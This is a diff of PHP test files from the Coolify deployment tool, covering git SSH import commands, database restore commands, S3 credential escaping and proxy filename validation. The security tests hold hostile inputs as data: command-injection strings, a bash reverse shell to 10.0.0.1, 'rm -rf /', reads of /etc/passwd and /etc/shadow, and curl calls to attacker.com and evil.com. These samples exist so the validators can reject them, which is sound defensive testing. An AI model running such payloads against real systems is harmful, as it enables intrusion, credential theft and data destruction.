$settings->is_git_submodules_enabled = true;
|
||||
$settings->is_git_lfs_enabled = false;
|
||||
$this->application->setRelation('settings', $settings);
|
||||
});
|
||||
|
||||
test('setGitImportSettings uses provided gitSshCommand for submodule update', function () {
|
||||
$sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa';
|
||||
|
||||
$result = $this->application->setGitImportSettings(
|
||||
deployment_uuid: 'test-uuid',
|
||||
git_clone_command: 'git clone',
|
||||
public: false,
|
||||
gitSshCommand: $sshCommand
|
||||
);
|
||||
|
||||
expect($result)
|
||||
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git submodule update --init --recursive')
|
||||
->toContain('git submodule sync');
|
||||
});
|
||||
|
||||
test('setGitImportSettings uses default ssh command when no gitSshCommand provided', function () {
|
||||
$result = $this->application->setGitImportSettings(
|
||||
deployment_uuid: 'test-uuid',
|
||||
git_clone_command: 'git clone',
|
||||
public: false,
|
||||
);
|
||||
|
||||
expect($result)
|
||||
->toContain('GIT_SSH_COMMAND="ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" git submodule update --init --recursive');
|
||||
});
|
||||
|
||||
test('setGitImportSettings uses provided gitSshCommand for fetch and checkout', function () {
|
||||
$this->application->git_commit_sha = 'abc123def456';
|
||||
$sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa';
|
||||
|
||||
$result = $this->application->setGitImportSettings(
|
||||
deployment_uuid: 'test-uuid',
|
||||
git_clone_command: 'git clone',
|
||||
public: false,
|
||||
gitSshCommand: $sshCommand
|
||||
);
|
||||
|
||||
expect($result)
|
||||
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git -c advice.detachedHead=false checkout');
|
||||
});
|
||||
|
||||
test('setGitImportSettings uses provided gitSshCommand for shallow fetch', function () {
|
||||
$this->application->git_commit_sha = 'abc123def456';
|
||||
$this->application->settings->is_git_shallow_clone_enabled = true;
|
||||
$sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa';
|
||||
|
||||
$result = $this->application->setGitImportSettings(
|
||||
deployment_uuid: 'test-uuid',
|
||||
git_clone_command: 'git clone',
|
||||
public: false,
|
||||
gitSshCommand: $sshCommand
|
||||
);
|
||||
|
||||
expect($result)
|
||||
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git fetch --depth=1 origin');
|
||||
});
|
||||
|
||||
test('setGitImportSettings uses provided gitSshCommand for lfs pull', function () {
|
||||
$this->application->settings->is_git_lfs_enabled = true;
|
||||
$sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -i /root/.ssh/id_rsa';
|
||||
|
||||
$result = $this->application->setGitImportSettings(
|
||||
deployment_uuid: 'test-uuid',
|
||||
git_clone_command: 'git clone',
|
||||
public: false,
|
||||
gitSshCommand: $sshCommand
|
||||
);
|
||||
|
||||
expect($result)
|
||||
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git lfs pull');
|
||||
});
|
||||
|
||||
test('buildGitCheckoutCommand includes GIT_SSH_COMMAND for submodule update when provided', function () {
|
||||
$sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -i /root/.ssh/id_rsa';
|
||||
|
||||
$method = new ReflectionMethod($this->application, 'buildGitCheckoutCommand');
|
||||
$result = $method->invoke($this->application, 'main', $sshCommand);
|
||||
|
||||
expect($result)
|
||||
->toContain("git checkout 'main'")
|
||||
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git submodule update --init --recursive');
|
||||
});
|
||||
|
||||
test('buildGitCheckoutCommand uses default ssh command for submodule update when none provided', function () {
|
||||
$method = new ReflectionMethod($this->application, 'buildGitCheckoutCommand');
|
||||
$result = $method->invoke($this->application, 'main');
|
||||
|
||||
expect($result)
|
||||
->toContain('GIT_SSH_COMMAND="ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" git submodule update --init --recursive');
|
||||
});
|
||||
|
||||
test('buildGitCheckoutCommand omits submodule update when submodules disabled', function () {
|
||||
$this->application->settings->is_git_submodules_enabled = false;
|
||||
|
||||
$method = new ReflectionMethod($this->application, 'buildGitCheckoutCommand');
|
||||
$result = $method->invoke($this->application, 'main');
|
||||
|
||||
expect($result)
|
||||
->toContain("git checkout 'main'")
|
||||
->not->toContain('submodule');
|
||||
});
|
||||
|
||||
test('generateGitImportCommands uses GitLab private key for PR submodule checkout', function () {
|
||||
$settings = new ApplicationSetting;
|
||||
$settings->is_git_shallow_clone_enabled = false;
|
||||
$settings->is_git_submodules_enabled = true;
|
||||
$settings->is_git_lfs_enabled = false;
|
||||
|
||||
$privateKey = Mockery::mock(PrivateKey::class)->makePartial();
|
||||
$privateKey->shouldReceive('getAttribute')->with('private_key')->andReturn('fake-private-key');
|
||||
|
||||
$gitlabSource = Mockery::mock(GitlabApp::class)->makePartial();
|
||||
$gitlabSource->shouldReceive('getMorphClass')->andReturn(GitlabApp::class);
|
||||
$gitlabSource->shouldReceive('getAttribute')->with('privateKey')->andReturn($privateKey);
|
||||
$gitlabSource->shouldReceive('getAttribute')->with('custom_port')->andReturn(22);
|
||||
$gitlabSource->shouldReceive('getAttribute')->with('html_url')->andReturn('https://gitlab.com');
|
||||
|
||||
$application = Mockery::mock(Application::class)->makePartial();
|
||||
$application->git_branch = 'main';
|
||||
$application->git_commit_sha = 'HEAD';
|
||||
$application->setRelation('settings', $settings);
|
||||
$application->source = $gitlabSource;
|
||||
$application->shouldReceive('deploymentType')->andReturn('source');
|
||||
$application->shouldReceive('customRepository')->andReturn([
|
||||
'repository' => 'git@gitlab.com:user/repo.git',
|
||||
'port' => 22,
|
||||
]);
|
||||
$application->shouldReceive('getAttribute')->with('source')->andReturn($gitlabSource);
|
||||
|
||||
$result = $application->generateGitImportCommands(
|
||||
deployment_uuid: 'test-uuid',
|
||||
pull_request_id: 123,
|
||||
git_type: 'gitlab',
|
||||
exec_in_docker: false,
|
||||
);
|
||||
|
||||
$sshCommand = 'ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa';
|
||||
|
||||
expect($result['commands'])
|
||||
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git fetch origin merge-requests/123/head:pr-123-coolify')
|
||||
->toContain("git checkout 'pr-123-coolify'")
|
||||
->toContain('GIT_SSH_COMMAND="'.$sshCommand.'" git submodule update --init --recursive')
|
||||
->not->toContain('GIT_SSH_COMMAND="ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" git submodule update --init --recursive');
|
||||
});
|
||||
|
||||
});
|
||||
@@ -1,16 +1,26 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Database\Import;
|
||||
use App\Livewire\Project\Database\ImportForm;
|
||||
|
||||
function importFormWithResource(string $modelClass): ImportForm
|
||||
{
|
||||
$component = new class extends ImportForm
|
||||
{
|
||||
public $resource;
|
||||
};
|
||||
|
||||
$database = Mockery::mock($modelClass);
|
||||
$database->shouldReceive('getMorphClass')->andReturn($modelClass);
|
||||
$component->resource = $database;
|
||||
|
||||
return $component;
|
||||
}
|
||||
|
||||
test('buildRestoreCommand handles PostgreSQL without dumpAll', function () {
|
||||
$component = new Import;
|
||||
$component = importFormWithResource('App\Models\StandalonePostgresql');
|
||||
$component->dumpAll = false;
|
||||
$component->postgresqlRestoreCommand = 'pg_restore -U $POSTGRES_USER -d $POSTGRES_DB';
|
||||
|
||||
$database = Mockery::mock('App\Models\StandalonePostgresql');
|
||||
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandalonePostgresql');
|
||||
$component->resource = $database;
|
||||
|
||||
$result = $component->buildRestoreCommand('/tmp/test.dump');
|
||||
|
||||
expect($result)->toContain('pg_restore');
|
||||
@@ -18,30 +28,21 @@ test('buildRestoreCommand handles PostgreSQL without dumpAll', function () {
|
||||
});
|
||||
|
||||
test('buildRestoreCommand handles PostgreSQL with dumpAll', function () {
|
||||
$component = new Import;
|
||||
$component = importFormWithResource('App\Models\StandalonePostgresql');
|
||||
$component->dumpAll = true;
|
||||
// This is the full dump-all command prefix that would be set in the updatedDumpAll method
|
||||
$component->postgresqlRestoreCommand = 'psql -U $POSTGRES_USER -c "SELECT pg_terminate_backend(pid) FROM pg_stat_activity WHERE datname IS NOT NULL AND pid <> pg_backend_pid()" && psql -U $POSTGRES_USER -t -c "SELECT datname FROM pg_database WHERE NOT datistemplate" | xargs -I {} dropdb -U $POSTGRES_USER --if-exists {} && createdb -U $POSTGRES_USER postgres';
|
||||
|
||||
$database = Mockery::mock('App\Models\StandalonePostgresql');
|
||||
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandalonePostgresql');
|
||||
$component->resource = $database;
|
||||
|
||||
$result = $component->buildRestoreCommand('/tmp/test.dump');
|
||||
|
||||
expect($result)->toContain('gunzip -cf /tmp/test.dump');
|
||||
expect($result)->toContain('psql -U $POSTGRES_USER postgres');
|
||||
expect($result)->toContain('psql -U ${POSTGRES_USER} -d ${POSTGRES_DB:-${POSTGRES_USER:-postgres}}');
|
||||
});
|
||||
|
||||
test('buildRestoreCommand handles MySQL without dumpAll', function () {
|
||||
$component = new Import;
|
||||
$component = importFormWithResource('App\Models\StandaloneMysql');
|
||||
$component->dumpAll = false;
|
||||
$component->mysqlRestoreCommand = 'mysql -u $MYSQL_USER -p$MYSQL_PASSWORD $MYSQL_DATABASE';
|
||||
|
||||
$database = Mockery::mock('App\Models\StandaloneMysql');
|
||||
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMysql');
|
||||
$component->resource = $database;
|
||||
|
||||
$result = $component->buildRestoreCommand('/tmp/test.dump');
|
||||
|
||||
expect($result)->toContain('mysql -u $MYSQL_USER');
|
||||
@@ -49,31 +50,23 @@ test('buildRestoreCommand handles MySQL without dumpAll', function () {
|
||||
});
|
||||
|
||||
test('buildRestoreCommand handles MariaDB without dumpAll', function () {
|
||||
$component = new Import;
|
||||
$component = importFormWithResource('App\Models\StandaloneMariadb');
|
||||
$component->dumpAll = false;
|
||||
$component->mariadbRestoreCommand = 'mariadb -u $MARIADB_USER -p$MARIADB_PASSWORD $MARIADB_DATABASE';
|
||||
|
||||
$database = Mockery::mock('App\Models\StandaloneMariadb');
|
||||
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMariadb');
|
||||
$component->resource = $database;
|
||||
|
||||
$result = $component->buildRestoreCommand('/tmp/test.dump');
|
||||
|
||||
expect($result)->toContain('mariadb -u $MARIADB_USER');
|
||||
expect($result)->toContain('< /tmp/test.dump');
|
||||
});
|
||||
|
||||
test('buildRestoreCommand handles MongoDB', function () {
|
||||
$component = new Import;
|
||||
$component->dumpAll = false;
|
||||
test('buildRestoreCommand always appends the MongoDB archive path', function (bool $dumpAll) {
|
||||
$component = importFormWithResource('App\Models\StandaloneMongodb');
|
||||
$component->dumpAll = $dumpAll;
|
||||
$component->mongodbRestoreCommand = 'mongorestore --authenticationDatabase=admin --username $MONGO_INITDB_ROOT_USERNAME --password $MONGO_INITDB_ROOT_PASSWORD --uri mongodb://localhost:27017 --gzip --archive=';
|
||||
|
||||
$database = Mockery::mock('App\Models\StandaloneMongodb');
|
||||
$database->shouldReceive('getMorphClass')->andReturn('App\Models\StandaloneMongodb');
|
||||
$component->resource = $database;
|
||||
|
||||
$result = $component->buildRestoreCommand('/tmp/test.dump');
|
||||
|
||||
expect($result)->toContain('mongorestore');
|
||||
expect($result)->toContain('/tmp/test.dump');
|
||||
});
|
||||
expect($result)->toContain('--archive=/tmp/test.dump');
|
||||
})->with([false, true]);
|
||||
@@ -1,15 +1,11 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Database\Import;
|
||||
use App\Models\Server;
|
||||
use App\Livewire\Project\Database\ImportForm;
|
||||
|
||||
test('checkFile does nothing when customLocation is empty', function () {
|
||||
$component = new Import;
|
||||
$component = new ImportForm;
|
||||
$component->customLocation = '';
|
||||
|
||||
$mockServer = Mockery::mock(Server::class);
|
||||
$component->server = $mockServer;
|
||||
|
||||
// No server commands should be executed when customLocation is empty
|
||||
$component->checkFile();
|
||||
|
||||
@@ -17,19 +13,16 @@ test('checkFile does nothing when customLocation is empty', function () {
|
||||
});
|
||||
|
||||
test('checkFile validates file exists on server when customLocation is filled', function () {
|
||||
$component = new Import;
|
||||
$component = new ImportForm;
|
||||
$component->customLocation = '/tmp/backup.sql';
|
||||
|
||||
$mockServer = Mockery::mock(Server::class);
|
||||
$component->server = $mockServer;
|
||||
|
||||
// This test verifies the logic flows when customLocation has a value
|
||||
// The actual remote process execution is tested elsewhere
|
||||
expect($component->customLocation)->toBe('/tmp/backup.sql');
|
||||
});
|
||||
|
||||
test('customLocation can be cleared to allow uploaded file to be used', function () {
|
||||
$component = new Import;
|
||||
$component = new ImportForm;
|
||||
$component->customLocation = '/tmp/backup.sql';
|
||||
|
||||
// Simulate clearing the customLocation (as happens when file is uploaded)
|
||||
@@ -39,7 +32,7 @@ test('customLocation can be cleared to allow uploaded file to be used', function
|
||||
});
|
||||
|
||||
test('validateBucketName accepts valid bucket names', function () {
|
||||
$component = new Import;
|
||||
$component = new ImportForm;
|
||||
$method = new ReflectionMethod($component, 'validateBucketName');
|
||||
|
||||
// Valid bucket names
|
||||
@@ -51,7 +44,7 @@ test('validateBucketName accepts valid bucket names', function () {
|
||||
});
|
||||
|
||||
test('validateBucketName rejects invalid bucket names', function () {
|
||||
$component = new Import;
|
||||
$component = new ImportForm;
|
||||
$method = new ReflectionMethod($component, 'validateBucketName');
|
||||
|
||||
// Invalid bucket names (command injection attempts)
|
||||
@@ -65,7 +58,7 @@ test('validateBucketName rejects invalid bucket names', function () {
|
||||
});
|
||||
|
||||
test('validateS3Path accepts valid S3 paths', function () {
|
||||
$component = new Import;
|
||||
$component = new ImportForm;
|
||||
$method = new ReflectionMethod($component, 'validateS3Path');
|
||||
|
||||
// Valid S3 paths
|
||||
@@ -77,7 +70,7 @@ test('validateS3Path accepts valid S3 paths', function () {
|
||||
});
|
||||
|
||||
test('validateS3Path rejects invalid S3 paths', function () {
|
||||
$component = new Import;
|
||||
$component = new ImportForm;
|
||||
$method = new ReflectionMethod($component, 'validateS3Path');
|
||||
|
||||
// Invalid S3 paths (command injection attempts)
|
||||
@@ -97,7 +90,7 @@ test('validateS3Path rejects invalid S3 paths', function () {
|
||||
});
|
||||
|
||||
test('validateServerPath accepts valid server paths', function () {
|
||||
$component = new Import;
|
||||
$component = new ImportForm;
|
||||
$method = new ReflectionMethod($component, 'validateServerPath');
|
||||
|
||||
// Valid server paths (must be absolute)
|
||||
@@ -108,7 +101,7 @@ test('validateServerPath accepts valid server paths', function () {
|
||||
});
|
||||
|
||||
test('validateServerPath rejects invalid server paths', function () {
|
||||
$component = new Import;
|
||||
$component = new ImportForm;
|
||||
$method = new ReflectionMethod($component, 'validateServerPath');
|
||||
|
||||
// Invalid server paths
|
||||
|
||||
@@ -163,7 +163,7 @@ it('accepts stored Caddy config when proxy type is CADDY', function () {
|
||||
});
|
||||
|
||||
it('accepts stored config when YAML parsing fails', function () {
|
||||
$invalidYaml = "this: is: not: [valid yaml: {{{}}}";
|
||||
$invalidYaml = 'this: is: not: [valid yaml: {{{}}}';
|
||||
$server = mockServerWithDbConfig($invalidYaml, 'TRAEFIK');
|
||||
|
||||
// Invalid YAML should not block — configMatchesProxyType returns true on parse failure
|
||||
|
||||
@@ -12,43 +12,69 @@
|
||||
* - app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php
|
||||
*/
|
||||
test('proxy configuration rejects command injection in filename with command substitution', function () {
|
||||
expect(fn () => validateShellSafePath('test$(whoami)', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('test$(whoami)', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration rejects command injection with semicolon', function () {
|
||||
expect(fn () => validateShellSafePath('config; id > /tmp/pwned', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('config; id > /tmp/pwned', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration rejects command injection with pipe', function () {
|
||||
expect(fn () => validateShellSafePath('config | cat /etc/passwd', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('config | cat /etc/passwd', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration rejects command injection with backticks', function () {
|
||||
expect(fn () => validateShellSafePath('config`whoami`.yaml', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('config`whoami`.yaml', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration rejects command injection with ampersand', function () {
|
||||
expect(fn () => validateShellSafePath('config && rm -rf /', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('config && rm -rf /', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration rejects command injection with redirect operators', function () {
|
||||
expect(fn () => validateShellSafePath('test > /tmp/evil', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('test > /tmp/evil', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('test < /etc/shadow', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('test < /etc/shadow', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration rejects reverse shell payload', function () {
|
||||
expect(fn () => validateShellSafePath('test$(bash -i >& /dev/tcp/10.0.0.1/9999 0>&1)', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('test$(bash -i >& /dev/tcp/10.0.0.1/9999 0>&1)', 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration rejects path traversal filenames', function (string $filename) {
|
||||
expect(fn () => validateFilenameSafe($filename, 'proxy configuration filename'))
|
||||
->toThrow(Exception::class);
|
||||
})->with([
|
||||
'../VICTIM_FILE',
|
||||
'../../etc/shadow',
|
||||
'/etc/passwd',
|
||||
'subdir/config.yaml',
|
||||
'subdir\\config.yaml',
|
||||
'config..yaml',
|
||||
"config.yaml\0../../etc/passwd",
|
||||
]);
|
||||
|
||||
test('dynamic proxy components use filename-safe validation', function () {
|
||||
$deleteComponent = file_get_contents(getcwd().'/app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php');
|
||||
$createComponent = file_get_contents(getcwd().'/app/Livewire/Server/Proxy/NewDynamicConfiguration.php');
|
||||
|
||||
expect($deleteComponent)
|
||||
->toContain("validateFilenameSafe(\$file, 'proxy configuration filename')")
|
||||
->not->toContain("validateShellSafePath(\$file, 'proxy configuration filename')");
|
||||
|
||||
expect($createComponent)
|
||||
->toContain("validateFilenameSafe(\$this->fileName, 'proxy configuration filename')")
|
||||
->not->toContain("validateShellSafePath(\$this->fileName, 'proxy configuration filename')");
|
||||
});
|
||||
|
||||
test('proxy configuration escapes filenames properly', function () {
|
||||
$filename = "config'test.yaml";
|
||||
$escaped = escapeshellarg($filename);
|
||||
@@ -64,20 +90,20 @@ test('proxy configuration escapes filenames with spaces', function () {
|
||||
});
|
||||
|
||||
test('proxy configuration accepts legitimate Traefik filenames', function () {
|
||||
expect(fn () => validateShellSafePath('my-service.yaml', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('my-service.yaml', 'proxy configuration filename'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('app.yml', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('app.yml', 'proxy configuration filename'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('router_config.yaml', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('router_config.yaml', 'proxy configuration filename'))
|
||||
->not->toThrow(Exception::class);
|
||||
});
|
||||
|
||||
test('proxy configuration accepts legitimate Caddy filenames', function () {
|
||||
expect(fn () => validateShellSafePath('my-service.caddy', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('my-service.caddy', 'proxy configuration filename'))
|
||||
->not->toThrow(Exception::class);
|
||||
|
||||
expect(fn () => validateShellSafePath('app_config.caddy', 'proxy configuration filename'))
|
||||
expect(fn () => validateFilenameSafe('app_config.caddy', 'proxy configuration filename'))
|
||||
->not->toThrow(Exception::class);
|
||||
});
|
||||
@@ -1,8 +1,14 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Database\ImportForm;
|
||||
use App\Models\StandaloneMariadb;
|
||||
use App\Models\StandaloneMongodb;
|
||||
use App\Models\StandaloneMysql;
|
||||
use App\Models\StandalonePostgresql;
|
||||
|
||||
it('escapeshellarg properly escapes S3 credentials with shell metacharacters', function () {
|
||||
// Test that escapeshellarg works correctly for various malicious inputs
|
||||
// This is the core security mechanism used in Import.php line 407-410
|
||||
// This is the core security mechanism used by ImportForm.
|
||||
|
||||
// Test case 1: Secret with command injection attempt
|
||||
$maliciousSecret = 'secret";curl https://attacker.com/ -X POST --data `whoami`;echo "pwned';
|
||||
@@ -41,7 +47,7 @@ it('escapeshellarg properly escapes S3 credentials with shell metacharacters', f
|
||||
});
|
||||
|
||||
it('verifies command injection is prevented in mc alias set command format', function () {
|
||||
// Simulate the exact scenario from Import.php:407-410
|
||||
// Simulate the exact scenario from ImportForm.
|
||||
$containerName = 's3-restore-test-uuid';
|
||||
$endpoint = 'https://s3.example.com";curl http://evil.com;echo "';
|
||||
$key = 'AKIATEST";whoami;"';
|
||||
@@ -96,3 +102,80 @@ it('handles S3 secrets with single quotes correctly', function () {
|
||||
// The command should contain the properly escaped secret
|
||||
expect($command)->toContain("'my'\\''secret'\\''key'");
|
||||
});
|
||||
|
||||
it('quotes restore command temp paths with spaces', function (string $morphClass) {
|
||||
$component = new class extends ImportForm
|
||||
{
|
||||
public string $morphClass;
|
||||
|
||||
public function __get($property)
|
||||
{
|
||||
if ($property === 'resource') {
|
||||
return new class($this->morphClass)
|
||||
{
|
||||
public function __construct(private readonly string $morphClass) {}
|
||||
|
||||
public function getMorphClass(): string
|
||||
{
|
||||
return $this->morphClass;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
return parent::__get($property);
|
||||
}
|
||||
};
|
||||
$component->morphClass = $morphClass;
|
||||
|
||||
$tmpPath = '/tmp/restore_test-may 2026.sql.gz';
|
||||
$restoreCommand = $component->buildRestoreCommand($tmpPath);
|
||||
|
||||
expect($restoreCommand)
|
||||
->toContain(escapeshellarg($tmpPath))
|
||||
->not->toContain(" {$tmpPath}");
|
||||
})->with([
|
||||
'mariadb' => StandaloneMariadb::class,
|
||||
'mysql' => StandaloneMysql::class,
|
||||
'postgresql' => StandalonePostgresql::class,
|
||||
'mongodb' => StandaloneMongodb::class,
|
||||
]);
|
||||
|
||||
it('quotes dump all restore command temp paths with spaces', function (string $morphClass) {
|
||||
$component = new class extends ImportForm
|
||||
{
|
||||
public string $morphClass;
|
||||
|
||||
public function __get($property)
|
||||
{
|
||||
if ($property === 'resource') {
|
||||
return new class($this->morphClass)
|
||||
{
|
||||
public function __construct(private readonly string $morphClass) {}
|
||||
|
||||
public function getMorphClass(): string
|
||||
{
|
||||
return $this->morphClass;
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
return parent::__get($property);
|
||||
}
|
||||
};
|
||||
$component->morphClass = $morphClass;
|
||||
$component->dumpAll = true;
|
||||
|
||||
$tmpPath = '/tmp/restore_test-may 2026.sql.gz';
|
||||
$escapedTmpPath = escapeshellarg($tmpPath);
|
||||
$restoreCommand = $component->buildRestoreCommand($tmpPath);
|
||||
|
||||
expect($restoreCommand)
|
||||
->toContain("gunzip -cf {$escapedTmpPath}")
|
||||
->toContain("cat {$escapedTmpPath}")
|
||||
->not->toContain("gunzip -cf {$tmpPath}")
|
||||
->not->toContain("cat {$tmpPath}");
|
||||
})->with([
|
||||
'mariadb' => StandaloneMariadb::class,
|
||||
'mysql' => StandaloneMysql::class,
|
||||
'postgresql' => StandalonePostgresql::class,
|
||||
]);
|
||||
@@ -0,0 +1,36 @@
|
||||
<?php
|
||||
|
||||
use App\Actions\Service\RestartService;
|
||||
use App\Actions\Service\StartService;
|
||||
use App\Actions\Service\StopService;
|
||||
use App\Models\Service;
|
||||
|
||||
it('does not stop a service before pulling latest images', function () {
|
||||
$method = new ReflectionMethod(StartService::class, 'shouldStopBeforeStarting');
|
||||
|
||||
expect($method->invoke(new StartService, pullLatestImages: true, stopBeforeStart: true))->toBeFalse();
|
||||
});
|
||||
|
||||
it('still stops a service before a regular restart', function () {
|
||||
$method = new ReflectionMethod(StartService::class, 'shouldStopBeforeStarting');
|
||||
|
||||
expect($method->invoke(new StartService, pullLatestImages: false, stopBeforeStart: true))->toBeTrue()
|
||||
->and($method->invoke(new StartService, pullLatestImages: false, stopBeforeStart: false))->toBeFalse();
|
||||
});
|
||||
|
||||
it('routes service restart actions through start service with deferred stop semantics', function () {
|
||||
$service = Mockery::mock(Service::class);
|
||||
|
||||
$stopService = Mockery::mock(StopService::class);
|
||||
$stopService->shouldNotReceive('handle');
|
||||
app()->instance(StopService::class, $stopService);
|
||||
|
||||
$startService = Mockery::mock(StartService::class);
|
||||
$startService->shouldReceive('handle')
|
||||
->once()
|
||||
->with($service, true, true)
|
||||
->andReturn('restart queued');
|
||||
app()->instance(StartService::class, $startService);
|
||||
|
||||
expect(RestartService::run($service, true))->toBe('restart queued');
|
||||
});
|
||||
@@ -10,12 +10,12 @@ class SshRetryMechanismTest extends TestCase
|
||||
{
|
||||
public function test_ssh_retry_handler_exists()
|
||||
{
|
||||
$this->assertTrue(class_exists(\App\Helpers\SshRetryHandler::class));
|
||||
$this->assertTrue(class_exists(SshRetryHandler::class));
|
||||
}
|
||||
|
||||
public function test_ssh_retryable_trait_exists()
|
||||
{
|
||||
$this->assertTrue(trait_exists(\App\Traits\SshRetryable::class));
|
||||
$this->assertTrue(trait_exists(SshRetryable::class));
|
||||
}
|
||||
|
||||
public function test_retry_on_ssh_connection_errors()
|
||||
@@ -50,6 +50,24 @@ class SshRetryMechanismTest extends TestCase
|
||||
}
|
||||
}
|
||||
|
||||
public function test_generic_ssh_exit_255_error_is_retryable()
|
||||
{
|
||||
$handler = new class
|
||||
{
|
||||
use SshRetryable;
|
||||
|
||||
// Make methods public for testing
|
||||
public function test_is_retryable_ssh_error($error)
|
||||
{
|
||||
return $this->isRetryableSshError($error);
|
||||
}
|
||||
};
|
||||
|
||||
$this->assertTrue(
|
||||
$handler->test_is_retryable_ssh_error('SSH command failed with exit code: 255')
|
||||
);
|
||||
}
|
||||
|
||||
public function test_non_ssh_errors_are_not_retryable()
|
||||
{
|
||||
$handler = new class
|
||||
@@ -141,6 +159,32 @@ class SshRetryMechanismTest extends TestCase
|
||||
$this->assertEquals(3, $attemptCount);
|
||||
}
|
||||
|
||||
public function test_retry_succeeds_after_generic_ssh_exit_255_failure()
|
||||
{
|
||||
$attemptCount = 0;
|
||||
|
||||
config([
|
||||
'constants.ssh.max_retries' => 3,
|
||||
'constants.ssh.retry_base_delay' => 0,
|
||||
]);
|
||||
|
||||
$result = SshRetryHandler::retry(
|
||||
function () use (&$attemptCount) {
|
||||
$attemptCount++;
|
||||
if ($attemptCount === 1) {
|
||||
throw new \RuntimeException('SSH command failed with exit code: 255');
|
||||
}
|
||||
|
||||
return 'success';
|
||||
},
|
||||
['test' => 'generic_ssh_255_retry_test'],
|
||||
true
|
||||
);
|
||||
|
||||
$this->assertEquals('success', $result);
|
||||
$this->assertEquals(2, $attemptCount);
|
||||
}
|
||||
|
||||
public function test_retry_fails_after_max_attempts()
|
||||
{
|
||||
$attemptCount = 0;
|
||||
|
||||
Reference in new issue
Block a user